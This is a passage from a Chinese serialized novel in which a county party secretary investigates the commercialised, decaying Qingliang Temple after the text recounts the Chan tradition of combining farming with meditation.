正是在这生死存亡的紧要关头,禅宗四祖道信大师(公元580-651年)以其非凡的智慧与魄力,为困境中的中国佛教开辟了一条崭新的生路。
他敏锐地洞察到,要化解佛教的生存危机,必须从根本上改变僧团的经济基础。
道信大师做出了一个具有划时代意义的决定:他率领僧众在蕲州黄梅双峰山定居下来,开垦荒地,躬耕自食。
这一举措,绝非仅仅为了解决饥肠辘辘的权宜之计。
道信大师从佛法精义的高度,对劳动进行了革命性的阐释。
他提出,“作”本身就是“坐”禅最根本的“报障”,更是修行不可或缺的重要组成部分。
他将农业劳作与禅修实践完美地融为一体,创造性地提出了“坐作并重”的理念。
《传法宝纪》记载其训导:“努力勤坐,坐为根本。能坐三五年,得一口食塞饥疮,即闭门坐。”
这看似强调“坐”,实则已将“作”即劳作以换取食物,视为“坐”禅得以持续、得以深入的前提和基础。
在道信看来,只有通过踏实的劳动解决了生存之忧,僧人才有可能真正“闭门”安心于禅坐。
道信将汗水浸透的劳作升华为修行本身。
为禅宗找到了深植于华夏农耕文明的坚实土壤。
第162章 禅意农诗
道信大师在双峰山聚众垦殖、定居修禅的成功实践,如同一颗充满生命力的种子,在中华大地上迅速生根发芽。
他的继承者,五祖弘忍(公元601-674年)在黄梅冯茂山进一步发扬光大农禅传统,其“役力以申供养,法侣资其足焉”的记载,清晰地表明劳动已成为僧团供养自足的主要手段。
及至“马祖建丛林,百丈立清规”的时代。
百丈怀海禅师(公元720-814年)更是将“农禅并重”思想系统化、制度化,明确提出“一日不作,一日不食”的丛林根本规约,并身体力行垂范,“凡日给执劳,必先于众”。
这一石破天惊的清规,彻底斩断了僧侣对世俗供养的过度依赖。
确立了以农耕劳作实现经济自养的根本原则。
从道信“坐作并重”的奠基,到怀海“一日不作,一日不食”的铁律,农禅并重完成了从生存智慧到修行法门的华丽蜕变。
它不仅解决了僧侣的吃饭问题,更从精神内核上使佛教与崇尚勤劳自立的华夏农耕文明血脉相连。
化解了千年排异的危机,为佛教在中国的生存与发展开辟了无比广阔的天地。
道信所开辟的“农禅并重”之路,成为支撑中国佛教千年巍峨殿堂不可或缺的基石与钢梁。
从此,禅者之姿悄然异于他方。
他们既是蒲团上的静思者,亦是田野上的力行者,两种身份的交织,在中国文学史上迸发出独特诗性。
禅诗并非总是烟霞梦幻之语,其另一面深刻沐浴在浓郁的稻菽泥土芬芳之中。
唐代布袋和尚那首“手把青秧插满田,低头便见水中天。六根清净方为道,退步原来是向前”的偈子,便是农禅境界的诗化典范——弯腰退步插秧的身影里,隐藏着对无我虚境、不争心法的深邃体认。
“低头见天”、“退步向前”,寥寥数笔,便将禅悟的形上玄机融入弯腰农事的具象瞬间。
“道”本在寻常,它不在天外悬垂的云雾里,恰恰藏在插秧老汉的躬身退步中。
清凉寺流传的禅意农诗,更是禅境化生的绝美注脚。
明代在此弘法的澄月禅师留下“掘地倦来眠一觉,锄头当枕胜珊瑚”一句,将劳作后的酣眠写得如同帝王享受,平凡的农具升华为价值连城的珍宝。
“开畲垦地闲消遣,佛法身心半点无”则将开荒垦地视为绝妙的“闲消遣”,在体力辛劳中彻底忘我忘佛,契入真空,此即“无心”之大妙。
又有清代诗僧吟咏寺院日常食谱:“萝葡收来烂熟蒸,晒干香软胜黄精”,言语朴拙如泥土本色,却饱含了亲手种植、亲手收获、亲手炮制后那份心物无间的踏实安稳与丰盈喜悦。
农事不只是劳作,更是身心参与万物轮回的虔诚仪轨——每一次躬身扶犁,每一次挥汗收割,皆为身体书写、感官体认的大地经文。
晚唐五代寺祖语录更是将农务提升至最高度的精神自觉:“大众尽心为常住开田,山僧尽心为大众说禅。”
开田与说法,这两件看似悬殊的工作被置于完全平等的地位,如同佛法圆融一体的两面,共同构成了丛林生活的核心价值,亦成为后代僧众秉承的精神圭臬。
至宋代,当清凉寺禅田日广,便有僧人赞叹其丰硕盛景:“四五百石麦,二三千石稻”。
这数字背后,是数代僧人“力锄葛藤”,在贫瘠山野中精勤垦殖留下的汗水史诗。
正是这一双双布满老茧的手和一颗颗安住尘劳的心,确保了“农禅并重”超越了纸上清规,成为活生生的传统。
汗水滴落的咸涩,谷物丰收的甘甜,交织成一种源自大地深处的坚实支撑。
让清凉寺的钟声穿越千年风雨依旧清澈回响。
“林局长!”江昭宁的声音带着沉思的重量,唤回林方政因回溯深远历史而略显微茫的神思。
“农禅并重,不是挂在墙上的旧黄历。”
“它能一路撑持佛教走到今天,立下两重功劳,关键得很!”
他指节习惯性地轻轻叩击着桌面,像在敲击历史的鼓心,“其一,它为丛林提供了实实在在的经济依靠。”
“师父们靠自己的汗水,种出嘴里吃的、身上穿的。”
“这种自给自足,让寺庙不用整日手心朝上,仰着看朝廷、权贵或者信众的面色过活。”
“经济上站得稳了,人格才能真正挺起腰板儿来!”
“寺庙才谈得上独立自主,僧人才能心无旁骛地研习佛法,守护一方宝刹清规。”
这一点,林方政深以为然,清凉寺能躲过历史上一场场经济上的倾轧与附庸危机,这份自力更生的底气功不可没。
“其二,”江昭宁目光深邃,仿佛穿透了时空,“这正是中华这片土地对佛教最伟大的转化与重塑!”
“它将那种起初有点格格不入的‘乞食’形态,成功地移接到了咱‘耕读传家’的文化大树上。”
“‘寓禅于农,农中悟禅’,这才叫落地生根呐。”
“从此,修行不必总是高坐云端不食人间烟火,它就蕴藏在平凡劳作里头。”
“弯下腰种地,本身就是一种禅定的功夫。”
“这种接地气的活法,才让佛教得以在咱们中华大地扎下深根,枝繁叶茂,甚至枝蔓伸向更广阔的天地。”
林方政感到一股滚烫热流冲刷着脊柱。
千年的智慧与力量似乎通过江书记的言语灌注己身。
话锋回转当下,江昭宁的语气陡然变得凝重:“但看看这繁华市场背后,很多寺庙的路,是不是有点走偏了?”
他不等林方政开口,言语如疾风劲矢,“门票三级跳,高得离谱。”
“高价香火、天价功德箱,名堂越来越多。”
“还有什么投资项目,把清净之地炒成了商业地产……”
他猛地一拍桌面,力道不大,闷响却震在林方政心上,“这股风气很不好!伤的是群众的感情,损的是宗教本应具备的超脱与纯正。”
“我们常说坚持宗教中国化方向,依我看,禅宗留下的‘农禅并重’,就是这个方向上一颗经得起考验的定海针!”
他目光炯炯,直视林方政,“清凉寺,就是咱们手上一个宝贵的样本!”
“守着农禅古风,守着不收费的禅田丰饶与朴实分享——这样的清净地、自在地、接地气的地方,难道不正契合今天老百姓对‘诗与远方’的朴素向往?”
“不正切合我们强调文化自信、寻找精神家园的时代脉搏?”一连串发问,如同重锤,震得林方政从深愧转为警醒。
那份历史的厚重与当下的危机感,一同化为额角滚落的热汗。
他肃然立起,声音因为激动而微微发颤:“我明白了!彻底明白了,江书记!”
“清凉寺的农禅并重不仅仅是历史旧事,它是一条活着的路,对我们当下旅游文化建设有着现实的启示意义!”
江昭宁脸上那层坚冰终于化开一丝赞许的微澜,点了点头。
眼神示意他继续说下去。
第163章 到清凉寺去看一下!
林方政面对江昭宁,声音带着一种被灵感点燃的笃定:“江书记,我准备做两件事!”
他伸出一根手指,指尖仿佛凝聚着决心,“第一,邀请文化学者、宗教学者,尤其是研究禅宗历史和农禅传统的专家,对清凉寺的农禅文化进行一次前所未有的深度挖掘和系统梳理!”
“这不仅仅是几块田、几件农具那么简单。”
他的语速加快,脑海中构建着宏伟的蓝图:“我们要把这片浸润了数百年汗水与禅意的禅田,打造成一个活态的文化基因库。”
“从开山祖师立下的‘一日不作,一日不食’的祖训开始,历代高僧大德关于农禅的诗词歌赋、清规戒律、耕作心得,那些散落在经卷、碑刻、甚至口耳相传中的智慧结晶,全部都要收集、整理、考证、注解!”
江昭宁接过话道:“是的。还有那些被岁月尘封的耕作实物农具——祖师们用过的犁铧、锄头、镰刀、水车,哪怕只剩下残片,也要找出来,考证清楚它们的年代、用途、背后的故事。”
“我们要让这些沉默的器物开口说话,讲述清凉寺僧侣如何在锄地拔草间参悟禅机,如何在春种秋收中体证佛法!”
“江书记说得对极了。”
“这不是简单的陈列。我们要构建一个完整的、有血有肉的、看得见摸得着的清凉寺农禅文化体系!”
“从精神内核到物质载体,从历史渊源到当代价值,让每一个来到清凉寺的人,都能清晰地感受到这种独特修行方式的力量和魅力!”
“第二!”林方政伸出第二根手指,眼神更加灼热,“光有静态的展示还不够,文化需要活态传承,需要切身体验。”
“我们要推动清凉寺在现有禅田基础上,规划设立一个‘农禅文化体验区’!”
“这个体验区,绝不是让游客走马观花拍拍照就完事了。”江昭宁强调着,语气不容置疑,“我们要让游客穿上粗布衣,挽起裤腿,实实在在地下到田里,体会一下烈日下挥汗如雨的艰辛,感受泥土在指尖的芬芳,体验一粒种子从播种到收获的完整过程!”
“让他们懂得‘盘中餐’的真正分量,理解‘粒粒皆辛苦’背后蕴含的不仅是农夫的辛劳,更是禅者修行的专注与坚韧。”
“更重要的是,”林方政接过话头,他的嘴角扬起一丝自信的笑意,“当他们付出了真实的劳动,哪怕只是象征性地参与了一小块地的除草、浇水,那么,在收获的季节,他们就有十足的底气,心安理得地分享寺庙赠予的、由他们亲手参与劳作的成果!”
“一捧新米,几颗蔬菜,或者一罐禅茶。”
“这份‘赠予’,不再是单纯的布施,而是对他们参与劳动的尊重,是对‘自食其力’精神的礼赞!”
“这会让他们对清凉寺、对农禅文化产生更深层次的认同感和归属感。”
“这种体验带来的心灵触动,是任何导游词都无法比拟的!”
他将目光投向江昭宁,那目光中充满了对这份计划的信心和期待:“江书记,我认为这才是真正盘活清凉寺文化资源、实现可持续发展的路径。”
“文化是根,体验是魂,经济是果。”
“三者融合,才能枝繁叶茂。”
江昭宁深邃的眼眸中闪过一丝赞许和浓厚的兴趣。
“嗯。”江昭宁思忖道,“这样吧!”
林方政被这突如其来的转折弄得微微一怔:“哪样?”他下意识地追问。
江昭宁站起身,动作干脆利落,带着一种说干就干的雷厉风行:“我们一起到清凉寺去看一下!”
他的语气不容置疑,是决定,而非商量。
“现在?”林方政有些意外于这行动的迅疾。
“现在!我们到门口去!”江昭宁的回答斩钉截铁,目光扫过墙上的挂钟,仿佛一刻也不想耽搁。
他对这个计划产生了强烈的现场验证冲动。
“好!”林方政立刻应道,书记亲自去现场考察,这无疑是对他思路的最大支持。
但他随即又想到一个人,一个不可或缺的专业角色,“不过……”
“不过什么?”江昭宁已经拿起搭在椅背上的薄外套,闻言停下动作,看向林方政,眼神带着询问。
林方政赶紧解释:“书记,还得叫上秦怡。”
他注意到江昭宁眉峰几不可察地动了一下,似乎有些意外,连忙补充道,“她是我们局旅游产业股的股长,对全县旅游资源开发、项目策划、尤其是寺庙文化景点这块的情况,她最熟悉不过了。”
“清凉寺的现状、游客数据、周边配套、政策瓶颈……她脑子里都装着活地图。”
“陪您去实地考察,提供专业意见,这本就是她的职责所在。”他的理由充分且合乎逻辑,点明了秦怡的专业价值。
江昭宁沉吟了一下。
他当然知道秦怡是负责这块业务的骨干,能力确实不错。
只是……他原想此行更低调、更聚焦于核心思路的碰撞。
但林方政的话确实在理,专业的事需要专业的人。
考察不是空谈,需要详实的数据和现场的具体分析。
“行吧,”江昭宁点头,做了决断,“通知她吧。”
“让她尽快到县委这边来。”
林方政立刻拿出手机,拨通了秦怡的电话。
电话那头传来秦怡干练清晰的声音:“林局长?”
“秦股长,是我。你现在在局里?不管在哪,立刻赶到县委这边来一下。”
林方政语速很快,接着又修正道,“不,直接到县委大院门口等我们!动作快点!”
“好的,林局长。有什么紧急任务吗?”秦怡的声音透着职业性的警觉。
“我们陪江书记到清凉寺去一下,”林方政压低了些声音,强调了关键点,“明白吗?”
“明白了!”秦怡的回答没有丝毫拖泥带水,电话随即挂断。
林方政几乎能想象到她立刻抓起笔记本和资料袋,快步冲出办公室的情形。
江昭宁已经走到了门口:“走吧,方政同志。”
他率先走了出去。
林方政赶紧跟上。
两人穿过略显空旷的走廊,走下楼梯,来到县委大院门口。
秋后的阳光还有些灼热,门口车来车往。
一辆挂着醒目小号车牌的黑色轿车正静静地停在专属车位,司机看到书记出来,立刻启动了车子准备开过来。
“江书记,我们坐您的车去?”林方政很自然地问道。
公务出行,乘坐书记专车是再正常不过的流程。
“不!”江昭宁的回答出乎林方政的意料。
他抬手果断地制止了正缓缓驶来的专车司机,做了一个“不用过来”的手势,然后转向林方政,“打的去。”
第164章 带了药
“为什么呀?”林方政脱口而出,心中的疑惑实在按捺不住。
这明明是正经八百的公务考察,为何放着现成的、方便舒适的公务车不用,偏要去挤出租车?
这似乎不合常理,也显得不够庄重。
江昭宁的目光扫过那辆停下的黑色轿车,又扫过县委大院进进出出的其他车辆和行人,声音平静却带着一种洞悉世情的透彻:“我的车太过招摇,认识车牌的人也多。”
“出去走一圈等于自己放广播。”
“我们此行是去‘看’,去‘听’,去真实地感受,不是去摆架子听汇报的。”
“如果坐着这车去,人还没到,消息可能就传开了。”
“寺里的方丈、管委会的人、甚至乡里的干部,都会围上来,准备好的‘剧本’也就摆好了。”
“那样,还能看到什么‘实情’?听到什么‘真话’?”
“坐出租车,融入车流人海,才能最大程度地‘隐身’,才有利于我们真正的‘微服出行’。明白了吗?”
林方政恍然大悟,心中对书记的务实和细致油然升起一股敬佩。
原来书记考虑的远不止是交通便利,而是整个考察环境的“纯净度”和信息的“真实性”。
这份洞察力和决心,让他深感震撼。
“知道了,书记!我这就叫车。”他立刻掏出手机,熟练地打开了打车软件。
“嗯。”江昭宁微微颔首,目光投向街口,耐心等待。
他挺拔的身影站在熙攘的街边,显得格外低调,却又隐隐散发着一种沉静的力量。
不一会儿,一辆普通的白色出租车驶来,停在他们面前。
林方政拉开副驾驶的门,坐进了副驾驶座。
江昭宁则拉开了后座车门。
几乎就在同时,一个身影带着一阵小跑带起的微风出现在他们面前。
是秦怡。
她显然是赶得很急,额头上渗出了一层细密的汗珠,几缕精心打理过的发丝贴在光洁的鬓角。
白皙的脸颊因为运动而泛着健康的红晕,微微喘息着。
“江书记好!林局长!”秦怡的声音带着一丝急促,但依然保持着得体的清晰度。
她今天穿着一身剪裁合体的浅米色套装,内搭一件质感上乘的香槟色真丝衬衫,领口系着优雅的小丝巾,显得既专业干练,又不失女性的柔美。
她的身材曲线在得体的着装下透出一种成熟女性特有的丰腴韵味,知性中带着一丝不易察觉的妩媚。
手里紧紧抓着一个装得鼓鼓的深色公文包,显然是做足了准备。
“秦股长来了,正好,上车吧。”林方政招呼道。
秦怡坐了进来。
狭小的出租车后座空间,因为坐了两个人,立刻显得局促起来。
车门关上,空调的凉风混合着一种若有若无的、清雅温润的香气弥漫开来。
那香气很特别,不张扬,像是某种昂贵的冷调花香混合着一点点洁净的皂感。
又带着一丝体温烘托出的暖意,沁人心脾,在这封闭的空间里显得格外清晰。
林方政坐在前面也隐约闻到了,但他目不斜视。
江昭宁坐在秦怡旁边,这股香气更是丝丝缕缕地萦绕在鼻端。
出租车平稳启动,汇入车流。
车内的气氛一时有些安静,只有空调送风的轻微声响和窗外的市井喧嚣。
林方政与司机核对了一下目的地——清凉寺。
车子驶出县城后,道路开始变得不那么平坦,偶尔会遇到一些小的坑洼或减速带。
在经过一个明显有些年久失修的路段时,车子突然“咯噔”一下,剧烈地颠簸了一下。
“啊!”后座传来一声短促的低呼。
坐在外侧的秦怡身体瞬间失去平衡,整个人不由自主地向内侧、也就是江昭宁的方向猛地倾斜过去。
在那一刹那,她的肩膀实实在在地靠在了江昭宁的肩膀上!
那温热的触感和更清晰的香气几乎同时袭来。
江昭宁的身体瞬间绷紧了一下,一股电流般的异样感划过心头。
他几乎是条件反射般地稳住了自己的身体。
他的目光锐利地扫过秦怡瞬间变得通红的脸庞,心中迅速掠过一丝疑虑和审视:她是真的没坐稳,还是有意的?这种距离的突然拉近……
秦怡慌乱地坐直身体,脸上红晕更甚,一直蔓延到耳根。
她尴尬地理了理鬓边的碎发,声音带着明显的歉意和一丝不易察觉的窘迫:“对不起,江书记!对不起!”
“刚才……刚才颠得有点厉害……”
她下意识地用手轻轻抚了抚胸口,眉头微蹙。
“秦股长,你是不是有点儿晕车?”江昭宁开口问道,声音平静,听不出太多情绪,但目光依旧停留在她略显苍白的脸上。
他注意到她上车后脸色似乎就不太好,此刻更是有些发白,额角的汗似乎也不完全是跑出来的热汗。
“是……是有点儿!”秦怡连忙点头,像是找到了一个合理的解释,“这路况……加上没休息好,有点闷,感觉有点不舒服,头有点晕。”
她努力挤出一个笑容。
“不过没事,”她一边说着,一边迅速打开随身携带的那个精致的手提包,从里面翻找着,“我带了药,吃一片就行。”
她拿出一个小巧的药盒,倒出一片白色的药片,又拿出一个保温杯,拧开盖子,就着温水把药片吞了下去。
动作利落,显示出她日常工作的细致和准备充分。
吃了药,又深呼吸了几次,秦怡靠在椅背上,闭上眼睛休息了片刻。
大约过了几分钟,她重新睁开眼,脸色虽然还带着一丝疲惫。
但那种难受的晕眩感似乎真的缓解了不少,眼神也恢复了平日的清明。
她再次对江昭宁和林方政歉意地笑了笑:“好多了,谢谢书记关心。”
“嗯,那就好。”江昭宁淡淡应了一声,目光转向车窗外飞速掠过的田野风光,不再多言。
他收敛心神,开始思考即将面对的考察要点:那片禅田的现状究竟如何?
林方政构想的体验区,场地条件是否具备?
寺里的僧人对此的真实态度又是什么?
秦怡的专业视角又能提供哪些关键信息?
车窗外,城市的轮廓渐渐被抛在身后,葱茏的山色越来越近。
清凉寺,那座承载着古老禅意与新生希望的千年古刹,正静静地等待着他们的到来。
第165章 混乱到了何种地步?
出租车最终在清凉山脚下停住。
然而,与江昭宁五年前记忆中的那份古朴宁静、只闻梵呗钟声的印象截然不同,山脚下竟已形成了一个嘈杂的小集市。
卖香烛的、卖“开光”纪念品的、拉客吃饭住宿的摊位鳞次栉比,吆喝声、讨价还价声、劣质音响放出的佛乐混杂在一起。
形成一股喧嚣的声浪扑面而来。
瞬间将人卷入一种浮躁的市井氛围。
江昭宁的眉头立刻拧紧了。
这与他预想中清修之地的入口相去甚远。
江昭宁抬头望去,通往清凉寺的石阶蜿蜒向上,隐没在苍翠的山林之中。
林方政和秦怡对视一眼,都从对方眼中看到了凝重。
秦怡低声道:“江书记,这里变化很大……”
“走,上去看看。”江昭宁的声音低沉,率先迈步踏上石阶。
越往上走,喧嚣并未远离,反而因游客增多而愈加热闹。
终于,那座曾经熟悉的、承载着厚重历史的山门出现在眼前,但门口的情形却让江昭宁的心猛地一沉。
山门一侧,赫然设立着一个现代化的售票亭!
巨大的LED显示屏滚动着刺眼的红色字幕:“清凉古寺,门票80元/位!”
80元!
比五年前翻了一番还要多!
这个数字像一记重锤,狠狠砸在江昭宁的心上。
他清晰地记得,五年前清凉寺还秉持着“广开方便之门”的传统,象征性地收取35元门票,更多是随喜功德。
那时的清凉寺,香火鼎旺,人流如织,却是一种充满虔诚与宁静的“爆炸”。
而如今,这冰冷的80元门票,像一道无形的壁垒,将清凉寺与芸芸众生隔开,更像一把明晃晃的商业标尺,衡量着每一个踏入佛门的脚步。
他脸色铁青,沉默地示意秦怡去买票。
她很快就买了三张票。
跨入山门,眼前的景象更是让江昭宁的失望如同冰冷的潮水,瞬间淹没了之前所有的期待与蓝图构想。
那个昔日人流如织却充满虔诚宁静的清凉寺,真的不见了。
寺内烧香,竟然还要扫二维码“值钱”!
巨大的香炉前,不见传统添油点香的功德箱,取而代之的是几个醒目的收款二维码立牌。
香客们举着手机,在袅袅青烟中费力地对准二维码扫码支付。
选择着“小香”、“中香”、“高香”、“全家福香”等不同价位的“电子香火”。
一个穿着僧衣的工作人员,江昭宁甚至不敢确定那是否是真和尚在旁边大声维持秩序:“扫码请快!选好规格!心诚则灵!”
空气中弥漫的檀香味,似乎也混入了电子支付的铜臭。
目光所及,天王殿、大雄宝殿等核心区域周围,到处是卖东西的小摊贩!叫卖之声喧哗盈天。
他们见缝插针地占据着回廊、角落甚至殿前空地。
卖着各种粗制滥造的所谓“开光”手串、挂件、佛像、护身符,还有各种饮料、小零食、旅游纪念品。
叫卖声此起彼伏,与殿内传出的诵经声交织在一起,形成一种极其怪诞、不伦不类的交响。
曾引以为傲的禅茶净苑,其雅致的茶室匾额已然卸下,竟替换为“清凉实业有限公司禅茶营销部”。
更令人瞠目的是,竟有穿着僧衣的人,从其内走出来,手里拿着印刷精美的册子,主动凑近游客,热情地“推销”着什么各种经书。
“施主,请本《消灾延寿药师经》吧?保家宅平安!”
“这位女施主,《妙法莲华经》最适合您,增福增慧!”那熟练的推销话术和察言观色的眼神,与商场里的导购员毫无二致。
一个被缠住的年轻游客面露不耐,匆匆摆手离开,那“和尚”也不气馁,立刻转向下一个目标。
“……走过路过,莫错过啊——!您不买经书,也要买手串啊,开光加持过的手串!”
“佛祖亲口开光!消灾消难,延年益寿!不买就是和佛祖没缘啊!”
“大师加持过的玉佛,请回家镇宅消灾!”
还有僧人吆喝道:“新鲜出炉的斋素饭菜,佛祖传秘方!”
秦怡要了一张素菜单,一看价格不禁咋舌。
江昭宁强压着胸中的怒火,目光扫过殿前的台阶。
更让他诧异甚至感到荒谬的是,一个年轻的沙弥,竟然坐在殿前石阶的阴影里,低头专注地看着手机屏幕。
他的手指飞快地滑动点击——那屏幕上激烈的光影和音效,分明是当下最火热的手机游戏《王者荣耀》!
他玩得如此投入,连有香客从他面前经过都浑然不觉。
佛门清净地,殿前打手游!
这一幕,像一把锋利的匕首,彻底刺穿了江昭宁心中对古寺的最后一丝幻想。
他深吸一口气,努力平复心绪,沿着回廊走向后殿。
路过几排作为僧寮或客堂的厢房时,他再次停住了脚步,瞳孔微微收缩。
一套是火焰般灼目的猩红色蕾丝薄纱文胸与配套底裤,细如蛛丝的带子勉强悬挂其上。
通透镂空的花纹毫不遮掩其用途,在沉重压抑的空气中几乎要滴落下来。
旁边则挂着两条薄如蝉翼的吊带睡裙,浅粉与墨黑,丝绸质感极好。
轻薄得近乎透明。
风若有若无掠过时裙摆便摇曳不定,轻飘飘地裹缠着阳光,仿佛在无声哼唱一曲来自尘世的靡靡之音,诱惑异常。
更远处,甚至还有几件款式异常大胆的情趣短裙。
那布料少得可怜,缀着夸张的亮片与流苏,在死寂的院廊阴影里兀自闪耀着妖冶轻佻的光泽。
这些本只该出现在最隐秘闺阁角落里的物件。
一件件突兀地挂在这供奉着诸天菩萨罗汉的佛门禁地最高核心之地。
如同几片来自尘嚣最底层的污血,毫不避讳地沾染在庄严的法衣之上。
总之,异常扎眼。
空气纹丝不动,可江昭宁却仿佛听到了那些轻薄织物被无形的、极其微弱的气流催动而飘拂起的细碎“飒飒”声。
一种极其难耐的噪音,直钻入耳蜗深处。
寺庙允许女香客过夜?
还允许在如此显眼的地方晾晒私密衣物?
这已经完全颠覆了他对寺院清规的认知。
即使有女客挂单,也应有专门的、相对隐蔽的区域,如此明目张胆,成何体统?
这寺庙的管理,混乱到了何种地步?
带着沉重的心情,他走进大雄宝殿。
殿内香客不少,烟雾缭绕。
然而,抬头细看,江昭宁的心又是一揪。
几间大殿,尤其是偏殿和藏经阁,肉眼可见地破败了。
梁柱的彩绘早已斑驳剥落,露出灰暗的木胎;部分斗拱结构似乎有些歪斜;屋顶的瓦片也有缺损,雨水侵蚀的痕迹清晰可见。
岁月的痕迹固然存在,但更明显的是缺乏维护的衰败感。
佛像的金身也显得黯淡无光,供桌的漆面磨损严重。
“秦股长,”江昭宁的声音带着压抑的冷峻,指向一处明显开裂的檐角,“这殿宇破败成这样,为何不修缮?这是重要的文物古建!”
秦怡立刻上前一步,脸上带着无奈和一丝职业性的谨慎:“江书记,您说的是。这些大殿确实年久失修,安全隐患和文化价值流失的风险都很大。”
“但是……修缮古建,尤其是文物保护单位的主体建筑,需要专业资质、严格审批,最重要的是需要大笔专项资金。”
“这笔钱,按规定应该由文化局从文物保护和修缮经费里拨付。我们旅游局……没有这笔专款。”
她顿了顿,声音更低了些,“我们局里也多次打报告反映过,也和文化局沟通过。但是……”
“但是什么?”江昭宁追问,眼神锐利。
秦怡苦笑了一下:“但是文化局那边也有他们的难处和理由。”
“他们说,清凉寺现在主要功能是旅游接待,既然旅游受益最大,修缮的钱就应该由旅游局来出,或者两家共同承担。”
“他们强调,文物保护是基础,但旅游开发带来的收益也该反哺保护。”
她摊了摊手,“两个部门就这样……踢皮球。”
“报告打上去,会议开了不少。”
“但钱的问题始终卡着,谁也不愿意承担这笔不小的支出,或者说,都觉得自己不该是主要承担方。”
第166章 闲杂人员不得入内!
“寺里自身运营维护费用都捉襟见肘,更拿不出这笔大钱来修大殿了。”
“踢皮球……”江昭宁低声重复着这三个字,一股冰冷的怒意从心底升腾。
部门壁垒,权责不清,利益纠缠!
这就是他治下某些职能部门的现状!
宝贵的文化遗产就在这种互相推诿中加速衰败!
他抬头看着那尊在烟雾中低眉垂目的佛像,那悲悯的目光仿佛也在无声地控诉着这荒唐的现实。
“走!去后山!”江昭宁的声音带着不容置疑的决断,甚至有一丝不易察觉的颤抖。
他此行最重要的目的,是那片承载着农禅精神的禅田!
三人没有去走寺院后那道宽阔气派、显然是近年新修的石阶——那石阶光洁平整,通向的是新建的、挂着“禅茶一味”牌匾的商业化茶楼。
而是沿着旁边一条被踩得发亮的、狭窄的石板小径向上攀爬。
这才是他记忆中通往禅田的路。
小径蜿蜒曲折,隐入浓密的林木之中。
脚下是湿滑、长满青苔的石板,边缘被经年累月的脚步磨得光滑圆润。
坡陡路窄,向上攀登颇为费力。
头顶是遮天蔽日的古树,粗壮的枝干虬结,茂密的枝叶几乎隔绝了外界的阳光。
只在偶尔枝叶稀疏处,才吝啬地落下几块破碎的光斑,在布满潮湿落叶的地面上投下摇曳的光影。
光斑照亮的地方,可以看到缝隙里钻出的、湿漉漉的青苔,绿得刺眼。
幽暗潮湿的绿意重重包裹下来,空气仿佛凝滞了,带着泥土、腐叶和一种深山老林特有的凉森森的气息。
每一步踏在湿滑的石板上,都发出沉闷的回响。
四周异常安静,只有不知名的虫鸣和远处极其微弱的梵呗声。
凉意浸透了衣衫,也浸透了江昭宁越来越沉的心。
林方政在前小心翼翼地拨开垂下的藤蔓。
秦怡跟在后面,高跟鞋在湿滑的石板上走得有些踉跄,但她咬着牙没吭声。
江昭宁走在最后,他的目光急切地穿过林木的缝隙,搜寻着记忆中的那片开阔地。
终于,小径尽头,林木豁然开朗。
然而,映入眼帘的景象,让江昭宁瞬间如遭雷击,僵在原地。
哪里还有阡陌纵横、禾苗青青的景象?
哪里还有僧侣躬耕、农禅一体的画面?
眼前,只有一片荒芜!
一片被茂密的、生命力顽强的野草和灌木丛彻底抛荒的坡地!
野草足有半人高,在微风中起伏,像一片绿色的、充满嘲讽的海洋。
几丛荆棘肆意蔓延,藤蔓缠绕着曾经可能是田埂标志的残破石墩。
靠近边缘的地方,甚至能看到几棵小树苗已经顽强地扎根生长起来。
荒地的边缘,依稀可见几段坍塌的、被野草覆盖的矮小土埂,是这片土地曾作为耕田的最后一点可怜印记。
那片记忆中的、寄托着他无限期望的禅田,彻底消失了!
被这无情的、象征着荒废与遗忘的绿色彻底吞噬了!
一股难以言喻的岔愤猛地冲上江昭宁的头顶,让他眼前一阵发黑。
他感到呼吸急促,胸口像是堵了一块巨石,闷得生疼。
他扶住旁边一棵粗糙的老树树干,冰凉的树皮触感也无法压下心头那股熊熊燃烧的失望、愤怒和悲凉。
他环顾四周,荒草萋萋,古木森森,远处新建的茶楼飞檐在树梢间露出一角,金碧辉煌,与这里的荒凉破败形成触目惊心的对比。
空气中那股幽深的凉意,此刻仿佛带着针,刺入他的骨髓。
这还是佛门清修之地吗?!
他在心中发出无声的怒吼。
卖门票、二维码烧香、摊贩云集、推销经书、打游戏、女客晾晒内衣、大殿破败无人修……
而最核心的、象征着清凉寺精神内核的“农禅并重”传统,竟已沦落到如此地步!
连承载它的土地都已彻底荒弃!
“说什么农禅并重?……”江昭宁喃喃自语,声音嘶哑,带着浓重的苦涩和自嘲。
他一脚踏入了一个被商业异化、精神荒芜的废墟!
蓝图尚未展开,地基已然崩塌。
林方政和秦怡站在他身后,看着书记僵硬的背影和眼前这片荒芜的坡地,同样震惊得说不出话来。
林方政的农禅文化体验区构想,此刻显得如此遥远和奢侈。
秦怡也感到一阵难堪和无力。
死寂笼罩着三人。
只有风吹过荒草发出的沙沙声,像无数声叹息,回荡在这片被遗忘的禅田之上,也回荡在江昭宁冰冷而愤怒的心底。
清凉寺之行,成了他最不愿面对、却又不得不直视的一地鸡毛。
第一步,就踏入了深深的失望与困境的沼泽。
他站在荒草丛中,望着这片象征着精神沦丧的土地,第一次感到,肩上的担子,竟是如此沉重。
三人回到了寺院内。
江昭宁面无表情,“去会一下掌门人。”
三人直奔大雄宝殿左后侧的禅房群落。
道路两旁是精心侍弄的花草,罗汉松修剪得纹丝不乱,翠竹掩映下的小径纤尘不染。
清幽得像是彻底与世隔绝的秘境,与山门外那人声鼎沸、烟气缭绕的氛围截然不同。
“站住!”
一声粗粝、带着明显呵斥意味的吼叫,突兀地撕裂了宁静。
只见两个身材异常魁梧、穿着灰色短褂僧衣的和尚,倏地从旁边浓密的灌木丛后窜了出来!
他们的动作迅捷而充满压迫感,像两头被惊动的猛兽,瞬间就挡住了三人下山的狭窄石板小径。
两人剃着青皮头,太阳穴微微鼓起,眼神凶狠,没有丝毫出家人的平和,反倒充满了戒备与戾气。
裸露在外的粗壮手臂上肌肉虬结,青筋隐隐浮现。
江昭宁只瞟了他们一眼,心中便是一凛——这两人绝非普通僧人,分明是经过严格训练的武僧!
那股子剽悍精悍的气息,绝非诵经念佛能养出来的。
其中一个方脸阔口的武僧,叉开双腿,像一堵墙似的拦在路中间。
他粗声粗气地喝道:“再往前就是监院大师清修静养的地方,闲杂人员不得入内!”
“赶紧回头下山去!”
他的目光扫过三人,带着毫不掩饰的轻蔑和驱赶之意,仿佛在呵斥误入禁地的闲人。
江昭宁心中的怒火本就未熄,此刻被这蛮横无理的阻拦瞬间点燃。
第167章 你竟然敢动手?!
